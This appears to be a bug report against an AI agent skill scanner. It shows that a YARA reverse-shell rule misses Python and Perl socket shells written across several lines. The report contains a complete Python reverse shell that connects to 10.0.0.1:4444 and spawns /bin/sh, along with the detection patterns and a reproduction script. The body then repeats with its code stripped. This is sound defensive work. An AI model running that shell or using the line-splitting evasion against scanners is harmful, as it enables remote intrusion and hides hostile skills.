What's wrong
The built-in reverse_shell YARA rule (src/skillspector/yara_rules/malware.yar.b64, base64-packaged) includes two strings meant to catch a raw Python or Perl socket-based reverse shell:
$python_socket = /socket\.socket\(.*SOCK_STREAM.*\.connect\(/
$perl_socket = /use\s+Socket;.*socket\s*\(\s*SOCK/
Neither carries the s (dotall) modifier, and YARA's . does not match \n by default. Both patterns therefore only match when the whole snippet sits on one physical line — the python3 -c '...' one-liner form. A Python reverse shell bundled as an actual script file (the far more common shape for something shipped inside an AI agent skill) writes socket.socket(...) and .connect(...) as separate statements:
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
$python_socket never matches this, and none of reverse_shell's other strings ($bash_revshell, $nc_shell, $php_fsock, etc.) reference Python socket syntax, so the whole rule stays silent. static_yara reports completed, the recommendation stays SAFE, and --fail-on-incomplete exits 0 — the scan never noticed the reverse shell it shipped a signature specifically to catch.
Reproduction
import yara
src = r'''
rule test_socket
{
strings:
$python_socket = /socket\.socket\(.*SOCK_STREAM.*\.connect\(/
condition:
$python_socket
}
'''
rules = yara.compile(source=src)
oneliner = b's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444))'
multiline = b'''
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 4444))
'''
print("one-liner:", rules.match(data=oneliner)) # [test_socket]
print("multi-line:", rules.match(data=multiline)) # []
(yara-python 4.5.4, the version pinned in pyproject.toml.) Same result for $perl_socket against a multi-line use Socket; ... socket(SOCKET, ...).
Where
src/skillspector/yara_rules/malware.yar.b64 — decodes to malware.yar's reverse_shell rule, $python_socket/$perl_socket strings. This is the initial-release content (7ced4fb), carried through the base64 repackaging in #236 (90a9181) unchanged — the encoding changed, the regex did not.
Proposed fix
Add s on both strings so . spans newlines, bounded to a small window (e.g. .{0,200}) rather than unbounded .*, so the fix doesn't trade the false negative for a new false positive across two unrelated, far-apart socket calls in a large file. Happy to open the PR with tests.
What's wrong
The built-in
reverse_shellYARA rule (src/skillspector/yara_rules/malware.yar.b64, base64-packaged) includes two strings meant to catch a raw Python or Perl socket-based reverse shell:Neither carries the
s(dotall) modifier, and YARA's.does not match\nby default. Both patterns therefore only match when the whole snippet sits on one physical line — thepython3 -c '...'one-liner form. A Python reverse shell bundled as an actual script file (the far more common shape for something shipped inside an AI agent skill) writessocket.socket(...)and.connect(...)as separate statements:$python_socketnever matches this, and none ofreverse_shell's other strings ($bash_revshell,$nc_shell,$php_fsock, etc.) reference Python socket syntax, so the whole rule stays silent.static_yarareportscompleted, the recommendation stays SAFE, and--fail-on-incompleteexits 0 — the scan never noticed the reverse shell it shipped a signature specifically to catch.Reproduction
(yara-python 4.5.4, the version pinned in
pyproject.toml.) Same result for$perl_socketagainst a multi-lineuse Socket; ... socket(SOCKET, ...).Where
src/skillspector/yara_rules/malware.yar.b64— decodes tomalware.yar'sreverse_shellrule,$python_socket/$perl_socketstrings. This is the initial-release content (7ced4fb), carried through the base64 repackaging in #236 (90a9181) unchanged — the encoding changed, the regex did not.Proposed fix
Add
son both strings so.spans newlines, bounded to a small window (e.g..{0,200}) rather than unbounded.*, so the fix doesn't trade the false negative for a new false positive across two unrelated, far-apart socket calls in a large file. Happy to open the PR with tests.